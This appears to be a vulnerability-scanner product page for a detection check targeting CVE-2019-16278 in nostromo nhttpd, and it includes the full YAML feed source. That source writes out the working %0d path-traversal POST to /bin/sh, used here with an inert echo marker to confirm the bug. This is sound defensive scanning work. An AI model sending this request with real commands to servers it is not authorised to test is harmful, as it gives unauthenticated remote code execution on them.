Nostromo — 1 vulnerability check
noctis ships 1 vulnerability check for Nostromo, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Nostromo nhttpd Path Traversal RCE
| CVE | CVE-2019-16278 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/nostromo/CVE-2019-16278.yaml |
Detects the nostromo nhttpd <= 1.9.6 unauthenticated remote command execution via "%0d" path traversal to /bin/sh. Confirmation is by command-substitution collapse of a per-run random token — the target must execute a shell to join the marker, so reflection does not false-positive.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0 - Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: nostromo nhttpd RCE confirmed — shell joined the per-run marker via /bin/sh path traversal
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-16278
- https://www.sudorealm.com/blog/nostromo-1-9-6-remote-code-execution-cve-2019-16278
Feed source — tests/vulnerabilities/nostromo/CVE-2019-16278.yaml
# Nostromo nhttpd Path-Traversal → Unauthenticated RCE — CVE-2019-16278
#
# nostromo nhttpd <= 1.9.6 fails to normalise a specially crafted path
# containing CR-encoded ("%0d") traversal segments. A request to
# /.%0d./.%0d./.%0d./.%0d./bin/sh reaches the system shell, and the POST
# body is piped to it as stdin — unauthenticated remote command execution.
#
# Detection method (cyber-safe, no file reads, no real commands):
# A verbatim HTTP/1.0 request is required — reqwest normalises the "%0d"
# traversal segments away before sending, which destroys the payload, so
# tcp_connect with a raw `send:` is used and the reply is matched on
# resp.banner (NOT resp.data).
#
# Command-substitution collapse proof: a per-run token tok=rand_hex(16)
# is minted and the piped body runs an INERT `echo NOCTIS$(){{tok}}`.
# Only a real shell evaluates the empty `$()` away and joins NOCTIS with
# the token into the contiguous marker "NOCTIS<tok>". A server that merely
# reflects the body returns "NOCTIS$()<tok>" (the `$()` intact), which does
# not match — so reflection and constant markers cannot trigger a finding.
uid: 564fff62-5f43-4fc4-b901-98d7a97f8448
name: "Nostromo nhttpd Path Traversal RCE (CVE-2019-16278)"
description: |
Detects the nostromo nhttpd <= 1.9.6 unauthenticated remote command
execution via "%0d" path traversal to /bin/sh. Confirmation is by
command-substitution collapse of a per-run random token — the target must
execute a shell to join the marker, so reflection does not false-positive.
cves: [CVE-2019-16278]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [nostromo, nhttpd, path-traversal, rce, unauthenticated, linux]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-16278"
- "https://www.sudorealm.com/blog/nostromo-1-9-6-remote-code-execution-cve-2019-16278"
steps:
# ── Mint a per-run token + contiguous marker ─────────────────────────────
# tok is 16 random bytes → 32 lowercase hex chars. The marker only ever
# appears contiguously when a real shell collapses the empty "$()".
- id: mint-token
action: script
code: |
rand_hex(16)
store_as: tok
- id: mint-marker
action: script
code: |
"NOCTIS" + tok
store_as: marker
# ── Exploit probe — verbatim HTTP/1.0, body piped to /bin/sh ─────────────
# Body (52 bytes): "echo\necho NOCTIS$()<tok>\n". The empty $() is inert;
# a vulnerable nhttpd runs it through the shell and echoes "NOCTIS<tok>".
- id: exploit
action: tcp_connect
port: "{{port}}"
send: "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Length: 52\r\n\r\necho\necho NOCTIS$(){{tok}}\n"
timeout_secs: 10
store_as: resp
# ── Confirm: contiguous marker present (shell evaluation happened) ───────
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "stridx(resp.banner, marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "nostromo nhttpd RCE confirmed — shell joined the per-run marker via /bin/sh path traversal"
stop: true